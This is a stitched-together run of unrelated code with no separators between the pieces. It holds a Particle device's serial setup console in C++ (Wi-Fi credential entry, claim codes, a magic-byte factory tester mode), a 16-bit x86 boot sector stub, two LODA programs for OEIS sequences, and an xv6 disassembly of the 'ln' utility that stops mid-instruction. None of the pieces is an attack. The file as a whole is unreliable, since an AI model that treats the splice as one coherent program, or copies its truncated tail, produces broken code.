/** ****************************************************************************** * @file wifi_credentials_reader.cpp * @author Zachary Crockett and Satish Nair * @version V1.0.0 * @date 24-April-2013 * @brief ****************************************************************************** Copyright (c) 2013-2015 Particle Industries, Inc. All rights reserved. This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, see <http://www.gnu.org/licenses/>. ****************************************************************************** */ #include "system_setup.h" #include "delay_hal.h" #include "ota_flash_hal.h" #include "wlan_hal.h" #include "cellular_hal.h" #include "system_cloud_internal.h" #include "system_update.h" #include "spark_wiring.h" // for serialReadLine #include "system_network_internal.h" #include "system_network.h" #include "system_task.h" #include "spark_wiring_thread.h" #include "system_ymodem.h" #if SETUP_OVER_SERIAL1 #define SETUP_LISTEN_MAGIC 1 void loop_wifitester(int c); #include "spark_wiring_usartserial.h" #include "wifitester.h" #endif #ifndef SETUP_LISTEN_MAGIC #define SETUP_LISTEN_MAGIC 0 #endif #define SETUP_SERIAL Serial1 class StreamAppender : public Appender { Stream& stream_; public: StreamAppender(Stream& stream) : stream_(stream) {} bool append(const uint8_t* data, size_t length) { return stream_.write(data, length)==length; } }; template <typename Config> SystemSetupConsole<Config>::SystemSetupConsole(Config& config_) : config(config_) { WITH_LOCK(serial); if (serial.baud() == 0) { serial.begin(9600); } } template<typename Config> void SystemSetupConsole<Config>::loop(void) { TRY_LOCK(serial) { if (serial.available()) { int c = serial.peek(); if (c >= 0) { if (!handle_peek((char)c)) { if (serial.available()) { c = serial.read(); handle((char)c); } } } } } } template <typename Config> bool SystemSetupConsole<Config>::handle_peek(char c) { if (YModem::SOH == c || YModem::STX == c) { system_firmwareUpdate(&serial); return true; } return false; } template<typename Config> void SystemSetupConsole<Config>::handle(char c) { if ('i' == c) { #if PLATFORM_ID<3 print("Your core id is "); #else print("Your device id is "); #endif String id = spark_deviceID(); print(id.c_str()); print("\r\n"); } else if ('m' == c) { print("Your device MAC address is\r\n"); IPConfig config; config.size = sizeof(config); network.get_ipconfig(&config); const uint8_t* addr = config.nw.uaMacAddr; print(bytes2hex(addr++, 1).c_str()); for (int i = 1; i < 6; i++) { print(":"); print(bytes2hex(addr++, 1).c_str()); } print("\r\n"); } else if ('f' == c) { serial.println("Waiting for the binary file to be sent ... (press 'a' to abort)"); system_firmwareUpdate(&serial); } else if ('x' == c) { exit(); } else if ('s' == c) { StreamAppender appender(serial); print("{"); system_module_info(append_instance, &appender); print("}\r\n"); } else if ('v' == c) { StreamAppender appender(serial); append_system_version_info(&appender); print("\r\n"); } else if ('L' == c) { system_set_flag(SYSTEM_FLAG_STARTUP_SAFE_LISTEN_MODE, 1, nullptr); System.enterSafeMode(); } else if ('c' == c) { bool claimed = HAL_IsDeviceClaimed(nullptr); print("Device claimed: "); print(claimed ? "yes" : "no"); print("\r\n"); } else if ('C' == c) { char code[64]; print("Enter 63-digit claim code: "); read_line(code, 63); if (strlen(code)==63) { HAL_Set_Claim_Code(code); print("Claim code set to: "); print(code); } else { print("Sorry, claim code is not 63 characters long. Claim code unchanged."); } print("\r\n"); } } /* private methods */ template<typename Config> void SystemSetupConsole<Config>::print(const char *s) { for (size_t i = 0; i < strlen(s); ++i) { serial.write(s[i]); HAL_Delay_Milliseconds(1); // ridonkulous, but required } } template<typename Config> void SystemSetupConsole<Config>::read_line(char *dst, int max_len) { serialReadLine(&serial, dst, max_len, 0); //no timeout print("\r\n"); while (0 < serial.available()) serial.read(); } #if Wiring_WiFi inline bool setup_serial1() { uint8_t value = 0; system_get_flag(SYSTEM_FLAG_WIFITESTER_OVER_SERIAL1, &value, nullptr); return value; } WiFiSetupConsole::WiFiSetupConsole(WiFiSetupConsoleConfig& config) : SystemSetupConsole(config) { #if SETUP_OVER_SERIAL1 serial1Enabled = false; magicPos = 0; if (setup_serial1()) { SETUP_SERIAL.begin(9600); } this->tester = NULL; #endif } WiFiSetupConsole::~WiFiSetupConsole() { #if SETUP_OVER_SERIAL1 delete this->tester; #endif } void WiFiSetupConsole::loop() { #if SETUP_OVER_SERIAL1 if (setup_serial1()) { int c = -1; if (SETUP_SERIAL.available()) { c = SETUP_SERIAL.read(); } if (SETUP_LISTEN_MAGIC) { static uint8_t magic_code[] = { 0xe1, 0x63, 0x57, 0x3f, 0xe7, 0x87, 0xc2, 0xa6, 0x85, 0x20, 0xa5, 0x6c, 0xe3, 0x04, 0x9e, 0xa0 }; if (!serial1Enabled) { if (c>=0) { if (c==magic_code[magicPos++]) { serial1Enabled = magicPos==sizeof(magic_code); if (serial1Enabled) { if (tester==NULL) tester = new WiFiTester(); tester->setup(SETUP_OVER_SERIAL1); } } else { magicPos = 0; } c = -1; } } else { if (tester) tester->loop(c); } } } #endif super::loop(); } void WiFiSetupConsole::handle(char c) { if ('w' == c) { memset(ssid, 0, 33); memset(password, 0, 65); memset(security_type_string, 0, 2); print("SSID: "); read_line(ssid, 32); // TODO: would be great if the network auto-detected the Security type // The photon is scanning the network so could determine this. do { print("Security 0=unsecured, 1=WEP, 2=WPA, 3=WPA2: "); read_line(security_type_string, 1); } while ('0' > security_type_string[0] || '3' < security_type_string[0]); #if PLATFORM_ID<3 if ('1' == security_type_string[0]) { print("\r\n ** Even though the CC3000 supposedly supports WEP,"); print("\r\n ** we at Spark have never seen it work."); print("\r\n ** If you control the network, we recommend changing it to WPA2.\r\n"); } #endif unsigned long security_type = security_type_string[0] - '0'; WLanSecurityCipher cipher = WLAN_CIPHER_NOT_SET; if (security_type) password[0] = '1'; // non-empty password so security isn't set to None // dry run if (this->config.connect_callback(this->config.connect_callback_data, ssid, password, security_type, cipher, true)==WLAN_SET_CREDENTIALS_CIPHER_REQUIRED) { do { print("Security Cipher 1=AES, 2=TKIP, 3=AES+TKIP: "); read_line(security_type_string, 1); } while ('1' > security_type_string[0] || '3' < security_type_string[0]); switch (security_type_string[0]-'0') { case 1: cipher = WLAN_CIPHER_AES; break; case 2: cipher = WLAN_CIPHER_TKIP; break; case 3: cipher = WLAN_CIPHER_AES_TKIP; break; } } if (0 < security_type) { print("Password: "); read_line(password, 64); } print("Thanks! Wait " #if PLATFORM_ID<3 "about 7 seconds " #endif "while I save those credentials...\r\n\r\n"); if (this->config.connect_callback(this->config.connect_callback_data, ssid, password, security_type, cipher, false)==0) { print("Awesome. Now we'll connect!\r\n\r\n"); print("If you see a pulsing cyan light, your " #if PLATFORM_ID==0 "Spark Core" #else "device" #endif "\r\n"); print("has connected to the Cloud and is ready to go!\r\n\r\n"); print("If your LED flashes red or you encounter any other problems,\r\n"); print("visit https://www.particle.io/support to debug.\r\n\r\n"); print(" Particle <3 you!\r\n\r\n"); } else { print("Derp. Sorry, we couldn't save the credentials.\r\n\r\n"); } } else { super::handle(c); } } void WiFiSetupConsole::exit() { network.listen(true); } #endif #if Wiring_Cellular CellularSetupConsole::CellularSetupConsole(CellularSetupConsoleConfig& config) : SystemSetupConsole(config) { } void CellularSetupConsole::exit() { network.listen(true); } void CellularSetupConsole::handle(char c) { if (c=='i') { CellularDevice dev; cellular_device_info(&dev, NULL); String id = spark_deviceID(); print("Device ID: "); print(id.c_str()); print("\r\n"); print("IMEI: "); print(dev.imei); print("\r\n"); print("ICCID: "); print(dev.iccid); print("\r\n"); } else super::handle(c); } #endif
global entry extern main BITS 16 section .text entry: xor ax,ax mov ds,ax mov es,ax mov ss,ax mov ax,0x2401 ;Enable A20 int 0x15 mov si,diskpack ;Load bottom half mov ah,0x42 mov dl,0x80 int 0x13 mov sp,0x7DC0 ;Init stack (2KB) jmp 0x0000:main diskpack: db 0x10 db 0 dw 4 ;number_of_block dd 0x00007E00 ;buffer_segment:buffer_offset dd 1 ;lba_number dd 0 padding: times 510 - ($ - $$) db 0 dw 0xAA55
; A186296: ( A007520(n)+1 )/2. ; Submitted by Jon Maiga ; 2,6,10,22,30,34,42,54,66,70,82,90,106,114,126,142,154,166,174,190,210,222,234,246,250,262,274,282,286,294,310,322,330,342,346,370,394,406,414,430,442,454,474,486,510,526,546,562,582,586,594 mov $1,10 mov $2,$0 pow $2,2 lpb $2 sub $2,1 mov $3,$1 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,8 mov $4,$0 max $4,1 cmp $4,$0 mul $2,$4 lpe mov $0,$1 div $0,2 sub $0,3
; A111108: a(n) = A001333(n) - (-2)^(n-1), n > 0. ; Submitted by Christian Krause ; 0,5,3,25,25,131,175,705,1137,3875,7095,21649,43225,122435,259423,698625,1541985,4011971,9107175,23143825,53559817,133933475,314086735,776787009,1838300625,4512108515,10745077143,26237143825,62749602745,152675873411,366222301375,888878572545,2136463253697,5176837465475,12460073413575,30157113834769,72654041998825,175705716000995,423584437663663,1023836664002625,2469333620320305,5966352195340451,14394341429606775,34770428217342865,83904411538714777,202640823945927875,489062914128259615 mov $2,2 lpb $0 sub $0,1 div $1,2 mul $2,2 mov $3,1 add $3,$1 add $4,$1 mov $1,$2 mov $2,$4 add $3,$1 mov $4,$3 mul $4,2 lpe mov $0,$3
_ln: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 53 push %ebx 4: 83 e4 f0 and $0xfffffff0,%esp 7: 83 ec 10 sub $0x10,%esp a: 8b 5d 0c mov 0xc(%ebp),%ebx if(argc != 3){ d: 83 7d 08 03 cmpl $0x3,0x8(%ebp) 11: 74 19 je 2c <main+0x2c> printf(2, "Usage: ln old new\n"); 13: c7 44 24 04 56 07 00 movl $0x756,0x4(%esp) 1a: 00 1b: c7 04 24 02 00 00 00 movl $0x2,(%esp) 22: e8 c9 03 00 00 call 3f0 <printf> exit(); 27: e8 66 02 00 00 call 292 <exit> } if(link(argv[1], argv[2]) < 0) 2c: 8b 43 08 mov 0x8(%ebx),%eax 2f: 89 44 24 04 mov %eax,0x4(%esp) 33: 8b 43 04 mov 0x4(%ebx),%eax 36: 89 04 24 mov %eax,(%esp) 39: e8 b4 02 00 00 call 2f2 <link> 3e: 85 c0 test %eax,%eax 40: 78 05 js 47 <main+0x47> printf(2, "link %s %s: failed\n", argv[1], argv[2]); exit(); 42: e8 4b 02 00 00 call 292 <exit> if(argc != 3){ printf(2, "Usage: ln old new\n"); exit(); } if(link(argv[1], argv[2]) < 0) printf(2, "link %s %s: failed\n", argv[1], argv[2]); 47: 8b 43 08 mov 0x8(%ebx),%eax 4a: 89 44 24 0c mov %eax,0xc(%esp) 4e: 8b 43 04 mov 0x4(%ebx),%eax 51: c7 44 24 04 69 07 00 movl $0x769,0x4(%esp) 58: 00 59: c7 04 24 02 00 00 00 movl $0x2,(%esp) 60: 89 44 24 08 mov %eax,0x8(%esp) 64: e8 87 03 00 00 call 3f0 <printf> 69: eb d7 jmp 42 <main+0x42> 6b: 66 90 xchg %ax,%ax 6d: 66 90 xchg %ax,%ax 6f: 90 nop 00000070 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 70: 55 push %ebp 71: 89 e5 mov %esp,%ebp 73: 8b 45 08 mov 0x8(%ebp),%eax 76: 8b 4d 0c mov 0xc(%ebp),%ecx 79: 53 push %ebx char *os; os = s; while((*s++ = *t++) != 0) 7a: 89 c2 mov %eax,%edx 7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80: 83 c1 01 add $0x1,%ecx 83: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 87: 83 c2 01 add $0x1,%edx 8a: 84 db test %bl,%bl 8c: 88 5a ff mov %bl,-0x1(%edx) 8f: 75 ef jne 80 <strcpy+0x10> ; return os; } 91: 5b pop %ebx 92: 5d pop %ebp 93: c3 ret 94: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 9a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000000a0 <strcmp>: int strcmp(const char *p, const char *q) { a0: 55 push %ebp a1: 89 e5 mov %esp,%ebp a3: 8b 55 08 mov 0x8(%ebp),%edx a6: 53 push %ebx a7: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) aa: 0f b6 02 movzbl (%edx),%eax ad: 84 c0 test %al,%al af: 74 2d je de <strcmp+0x3e> b1: 0f b6 19 movzbl (%ecx),%ebx b4: 38 d8 cmp %bl,%al b6: 74 0e je c6 <strcmp+0x26> b8: eb 2b jmp e5 <strcmp+0x45> ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi c0: 38 c8 cmp %cl,%al c2: 75 15 jne d9 <strcmp+0x39> p++, q++; c4: 89 d9 mov %ebx,%ecx c6: 83 c2 01 add $0x1,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) c9: 0f b6 02 movzbl (%edx),%eax p++, q++; cc: 8d 59 01 lea 0x1(%ecx),%ebx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) cf: 0f b6 49 01 movzbl 0x1(%ecx),%ecx d3: 84 c0 test %al,%al d5: 75 e9 jne c0 <strcmp+0x20> d7: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; d9: 29 c8 sub %ecx,%eax } db: 5b pop %ebx dc: 5d pop %ebp dd: c3 ret de: 0f b6 09 movzbl (%ecx),%ecx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) e1: 31 c0 xor %eax,%eax e3: eb f4 jmp d9 <strcmp+0x39> e5: 0f b6 cb movzbl %bl,%ecx e8: eb ef jmp d9 <strcmp+0x39> ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 000000f0 <strlen>: return (uchar)*p - (uchar)*q; } uint strlen(const char *s) { f0: 55 push %ebp f1: 89 e5 mov %esp,%ebp f3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) f6: 80 39 00 cmpb $0x0,(%ecx) f9: 74 12 je 10d <strlen+0x1d> fb: 31 d2 xor %edx,%edx fd: 8d 76 00 lea 0x0(%esi),%esi 100: 83 c2 01 add $0x1,%edx 103: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 107: 89 d0 mov %edx,%eax 109: 75 f5 jne 100 <strlen+0x10> ; return n; } 10b: 5d pop %ebp 10c: c3 ret uint strlen(const char *s) { int n; for(n = 0; s[n]; n++) 10d: 31 c0 xor %eax,%eax ; return n; } 10f: 5d pop %ebp 110: c3 ret 111: eb 0d jmp 120 <memset> 113: 90 nop 114: 90 nop 115: 90 nop 116: 90 nop 117: 90 nop 118: 90 nop 119: 90 nop 11a: 90 nop 11b: 90 nop 11c: 90 nop 11d: 90 nop 11e: 90 nop 11f: 90 nop 00000120 <memset>: void* memset(void *dst, int c, uint n) { 120: 55 push %ebp 121: 89 e5 mov %esp,%ebp 123: 8b 55 08 mov 0x8(%ebp),%edx 126: 57 push %edi } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 127: 8b 4d 10 mov 0x10(%ebp),%ecx 12a: 8b 45 0c mov 0xc(%ebp),%eax 12d: 89 d7 mov %edx,%edi 12f: fc cld 130: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 132: 89 d0 mov %edx,%eax 134: 5f pop %edi 135: 5d pop %ebp 136: c3 ret 137: 89 f6 mov %esi,%esi 139: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000140 <strchr>: char* strchr(const char *s, char c) { 140: 55 push %ebp 141: 89 e5 mov %esp,%ebp 143: 8b 45 08 mov 0x8(%ebp),%eax 146: 53 push %ebx 147: 8b 55 0c mov 0xc(%ebp),%edx for(; *s; s++) 14a: 0f b6 18 movzbl (%eax),%ebx 14d: 84 db test %bl,%bl 14f: 74 1d je 16e <strchr+0x2e> if(*s == c) 151: 38 d3 cmp %dl,%bl 153: 89 d1 mov %edx,%ecx 155: 75 0d jne 164 <strchr+0x24> 157: eb 17 jmp 170 <strchr+0x30> 159: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 160: 38 ca cmp %cl,%dl 162: 74 0c je 170 <strchr+0x30> } char* strchr(const char *s, char c) { for(; *s; s++) 164: 83 c0 01 add $0x1,%eax 167: 0f b6 10 movzbl (%eax),%edx 16a: 84 d2 test %dl,%dl 16c: 75 f2 jne 160 <strchr+0x20> if(*s == c) return (char*)s; return 0; 16e: 31 c0 xor %eax,%eax } 170: 5b pop %ebx 171: 5d pop %ebp 172: c3 ret 173: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 179: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000180 <gets>: char* gets(char *buf, int max) { 180: 55 push %ebp 181: 89 e5 mov %esp,%ebp 183: 57 push %edi 184: 56 push %esi int i, cc; char c; for(i=0; i+1 < max; ){ 185: 31 f6 xor %esi,%esi return 0; } char* gets(char *buf, int max) { 187: 53 push %ebx 188: 83 ec 2c sub $0x2c,%esp int i, cc; char c; for(i=0; i+1 < max; ){ cc = read(0, &c, 1); 18b: 8d 7d e7 lea -0x19(%ebp),%edi gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 18e: eb 31 jmp 1c1 <gets+0x41> cc = read(0, &c, 1); 190: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 197: 00 198: 89 7c 24 04 mov %edi,0x4(%esp) 19c: c7 04 24 00 00 00 00 movl $0x0,(%esp) 1a3: e8 02 01 00 00 call 2aa <read> if(cc < 1) 1a8: 85 c0 test %eax,%eax 1aa: 7e 1d jle 1c9 <gets+0x49> break; buf[i++] = c; 1ac: 0f b6 45 e7 movzbl -0x19(%ebp),%eax gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1b0: 89 de mov %ebx,%esi cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 1b2: 8b 55 08 mov 0x8(%ebp),%edx if(c == '\n' || c == '\r') 1b5: 3c 0d cmp $0xd,%al for(i=0; i+1 < max; ){ cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 1b7: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') 1bb: 74 0c je 1c9 <gets+0x49> 1bd: 3c 0a cmp $0xa,%al 1bf: 74 08 je 1c9 <gets+0x49> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1c1: 8d 5e 01 lea 0x1(%esi),%ebx 1c4: 3b 5d 0c cmp 0xc(%ebp),%ebx 1c7: 7c c7 jl 190 <gets+0x10> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1c9: 8b 45 08 mov 0x8(%ebp),%eax 1cc: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 1d0: 83 c4 2c add $0x2c,%esp 1d3: 5b pop %ebx 1d4: 5e pop %esi 1d5: 5f pop %edi 1d6: 5d pop %ebp 1d7: c3 ret 1d8: 90 nop 1d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000001e0 <stat>: int stat(const char *n, struct stat *st) { 1e0: 55 push %ebp 1e1: 89 e5 mov %esp,%ebp 1e3: 56 push %esi 1e4: 53 push %ebx 1e5: 83 ec 10 sub $0x10,%esp int fd; int r; fd = open(n, O_RDONLY); 1e8: 8b 45 08 mov 0x8(%ebp),%eax 1eb: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 1f2: 00 1f3: 89 04 24 mov %eax,(%esp) 1f6: e8 d7 00 00 00 call 2d2 <open> if(fd < 0) 1fb: 85 c0 test %eax,%eax stat(const char *n, struct stat *st) { int fd; int r; fd = open(n, O_RDONLY); 1fd: 89 c3 mov %eax,%ebx if(fd < 0) 1ff: 78 27 js 228 <stat+0x48> return -1; r = fstat(fd, st); 201: 8b 45 0c mov 0xc(%ebp),%eax 204: 89 1c 24 mov %ebx,(%esp) 207: 89 44 24 04 mov %eax,0x4(%esp) 20b: e8 da 00 00 00 call 2ea <fstat> close(fd); 210: 89 1c 24 mov %ebx,(%esp) int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; r = fstat(fd, st); 213: 89 c6 mov %eax,%esi close(fd); 215: e8 a0 00 00 00 call 2ba <close> return r; 21a: 89 f0 mov %esi,%eax } 21c: 83 c4 10 add $0x10,%esp 21f: 5b pop %ebx 220: 5e pop %esi 221: 5d pop %ebp 222: c3 ret 223: 90 nop 224: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; 228: b8 ff ff ff ff mov $0xffffffff,%eax 22d: eb ed jmp 21c <stat+0x3c> 22f: 90 nop 00000230 <atoi>: return r; } int atoi(const char *s) { 230: 55 push %ebp 231: 89 e5 mov %esp,%ebp 233: 8b 4d 08 mov 0x8(%ebp),%ecx 236: 53 push %ebx int n; n = 0; while('0' <= *s && *s <= '9') 237: 0f be 11 movsbl (%ecx),%edx 23a: 8d 42 d0 lea -0x30(%edx),%eax 23d: 3c 09 cmp $0x9,%al int atoi(const char *s) { int n; n = 0; 23f: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 244: 77 17 ja 25d <atoi+0x2d> 246: 66 90 xchg %ax,%ax n = n*10 + *s++ - '0'; 248: 83 c1 01 add $0x1,%ecx 24b: 8d 04 80 lea (%eax,%eax,4),%eax 24e: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 252: 0f be 11 movsbl (%ecx),%edx 255: 8d 5a d0 lea -0x30(%edx),%ebx 258: 80 fb 09 cmp $0x9,%bl 25b: 76 eb jbe 248 <atoi+0x18> n = n*10 + *s++ - '0'; return n; } 25d: 5b pop %ebx 25e: 5d pop %ebp 25f: c3 ret 00000260 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 260: 55 push %ebp char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 261: 31 d2 xor %edx,%edx return n; } void* memmove(void *vdst, const void *vsrc, int n) { 263: 89 e5 mov %esp,%ebp 265: 56 push %esi 266: 8b 45 08 mov 0x8(%ebp),%eax 269: 53 push %ebx 26a: 8b 5d 10 mov 0x10(%ebp),%ebx 26d: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 270: 85 db test %ebx,%ebx 272: 7e 12 jle 286 <memmove+0x26> 274: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 278: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 27c: 88 0c 10 mov %cl,(%eax,%edx,1) 27f: 83 c2 01 add $0x1,%edx char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 282: 39 da cmp %ebx,%edx 284: 75 f2 jne 278 <memmove+0x18> *dst++ = *src++; return vdst; } 286: 5b pop %ebx 287: 5e pop %esi 288: 5d pop %ebp 289: c3 ret 0000028a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 28a: b8 01 00 00 00 mov $0x1,%eax 28f: cd 40 int $0x40 291: c3 ret 00000292 <exit>: SYSCALL(exit) 292: b8 02 00 00 00 mov $0x2,%eax 297: cd 40 int $0x40 299: c3 ret 0000029a <wait>: SYSCALL(wait) 29a: b8 03 00 00 00 mov $0x3,%eax 29f: cd 40 int $0x40 2a1: c3 ret 000002a2 <pipe>: SYSCALL(pipe) 2a2: b8 04 00 00 00 mov $0x4,%eax 2a7: cd 40 int $0x40 2a9: c3 ret 000002aa <read>: SYSCALL(read) 2aa: b8 05 00 00 00 mov $0x5,%eax 2af: cd 40 int $0x40 2b1: c3 ret 000002b2 <write>: SYSCALL(write) 2b2: b8 10 00 00 00 mov $0x10,%eax 2b7: cd 40 int $0x40 2b9: c3 ret 000002ba <close>: SYSCALL(close) 2ba: b8 15 00 00 00 mov $0x15,%eax 2bf: cd 40 int $0x40 2c1: c3 ret 000002c2 <kill>: SYSCALL(kill) 2c2: b8 06 00 00 00 mov $0x6,%eax 2c7: cd 40 int $0x40 2c9: c3 ret 000002ca <exec>: SYSCALL(exec) 2ca: b8 07 00 00 00 mov $0x7,%eax 2cf: cd 40 int $0x40 2d1: c3 ret 000002d2 <open>: SYSCALL(open) 2d2: b8 0f 00 00 00 mov $0xf,%eax 2d7: cd 40 int $0x40 2d9: c3 ret 000002da <mknod>: SYSCALL(mknod) 2da: b8 11 00 00 00 mov $0x11,%eax 2df: cd 40 int $0x40 2e1: c3 ret 000002e2 <unlink>: SYSCALL(unlink) 2e2: b8 12 00 00 00 mov $0x12,%eax 2e7: cd 40 int $0x40 2e9: c3 ret 000002ea <fstat>: SYSCALL(fstat) 2ea: b8 08 00 00 00 mov $0x8,%eax 2ef: cd 40 int $0x40 2f1: c3 ret 000002f2 <link>: SYSCALL(link) 2f2: b8 13 00 00 00 mov $0x13,%eax 2f7: cd 40 int $0x40 2f9: c3 ret 000002fa <mkdir>: SYSCALL(mkdir) 2fa: b8 14 00 00 00 mov $0x14,%eax 2ff: cd 40 int $0x40 301: c3 ret 00000302 <chdir>: SYSCALL(chdir) 302: b8 09 00 00 00 mov $0x9,%eax 307: cd 40 int $0x40 309: c3 ret 0000030a <dup>: SYSCALL(dup) 30a: b8 0a 00 00 00 mov $0xa,%eax 30f: cd 40 int $0x40 311: c3 ret 00000312 <getpid>: SYSCALL(getpid) 312: b8 0b 00 00 00 mov $0xb,%eax 317: cd 40 int $0x40 319: c3 ret 0000031a <sbrk>: SYSCALL(sbrk) 31a: b8 0c 00 00 00 mov $0xc,%eax 31f: cd 40 int $0x40 321: c3 ret 00000322 <sleep>: SYSCALL(sleep) 322: b8 0d 00 00 00 mov $0xd,%eax 327: cd 40 int $0x40 329: c3 ret 0000032a <uptime>: SYSCALL(uptime) 32a: b8 0e 00 00 00 mov $0xe,%eax 32f: cd 40 int $0x40 331: c3 ret 00000332 <hello>: SYSCALL(hello) 332: b8 16 00 00 00 mov $0x16,%eax 337: cd 40 int $0x40 339: c3 ret 0000033a <halt>: SYSCALL(halt) 33a: b8 17 00 00 00 mov $0x17,%eax 33f: cd 40 int $0x40 341: c3 ret 00000342 <gettop>: SYSCALL(gettop) 342: b8 18 00 00 00 mov $0x18,%eax 347: cd 40 int $0x40 349: c3 ret 34a: 66 90 xchg %ax,%ax 34c: 66 90 xchg %ax,%ax 34e: 66 90 xchg %ax,%ax 00000350 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 350: 55 push %ebp 351: 89 e5 mov %esp,%ebp 353: 57 push %edi 354: 56 push %esi 355: 89 c6 mov %eax,%esi 357: 53 push %ebx 358: 83 ec 4c sub $0x4c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 35b: 8b 5d 08 mov 0x8(%ebp),%ebx 35e: 85 db test %ebx,%ebx 360: 74 09 je 36b <printint+0x1b> 362: 89 d0 mov %edx,%eax 364: c1 e8 1f shr $0x1f,%eax 367: 84 c0 test %al,%al 369: 75 75 jne 3e0 <printint+0x90> neg = 1; x = -xx; } else { x = xx; 36b: 89 d0 mov %edx,%eax static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 36d: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 374: 89 75 c0 mov %esi,-0x40(%ebp) x = -xx; } else { x = xx; } i = 0; 377: 31 ff xor %edi,%edi 379: 89 ce mov %ecx,%esi 37b: 8d 5d d7 lea -0x29(%ebp),%ebx 37e: eb 02 jmp 382 <printint+0x32> do{ buf[i++] = digits[x % base]; 380: 89 cf mov %ecx,%edi 382: 31 d2 xor %edx,%edx 384: f7 f6 div %esi 386: 8d 4f 01 lea 0x1(%edi),%ecx 389: 0f b6 92 84 07 00 00 movzbl 0x784(%edx),%edx }while((x /= base) != 0); 390: 85 c0 test %eax,%eax x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 392: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); 395: 75 e9 jne 380 <printint+0x30> if(neg) 397: 8b 55 c4 mov -0x3c(%ebp),%edx x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 39a: 89 c8 mov %ecx,%eax 39c: 8b 75 c0 mov -0x40(%ebp),%esi }while((x /= base) != 0); if(neg) 39f: 85 d2 test %edx,%edx 3a1: 74 08 je 3ab <printint+0x5b> buf[i++] = '-'; 3a3: 8d 4f 02 lea 0x2(%edi),%ecx 3a6: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1) while(--i >= 0) 3ab: 8d 79 ff lea -0x1(%ecx),%edi 3ae: 66 90 xchg %ax,%ax 3b0: 0f b6 44 3d d8 movzbl -0x28(%ebp,%edi,1),%eax 3b5: 83 ef 01 sub $0x1,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 3b8: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 3bf: 00 3c0: 89 5c 24 04 mov %ebx,0x4(%esp) 3c4: 89 34 24 mov %esi,(%esp) 3c7: 88 45 d7 mov %al,-0x29(%ebp) 3ca: e8 e3 fe ff ff call 2b2 <write> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 3cf: 83 ff ff cmp $0xffffffff,%edi 3d2: 75 dc jne 3b0 <printint+0x60> putc(fd, buf[i]); } 3d4: 83 c4 4c add $0x4c,%esp 3d7: 5b pop %ebx 3d8: 5e pop %esi 3d9: 5f pop %edi 3da: 5d pop %ebp 3db: c3 ret 3dc: 8d 74 26 00 lea 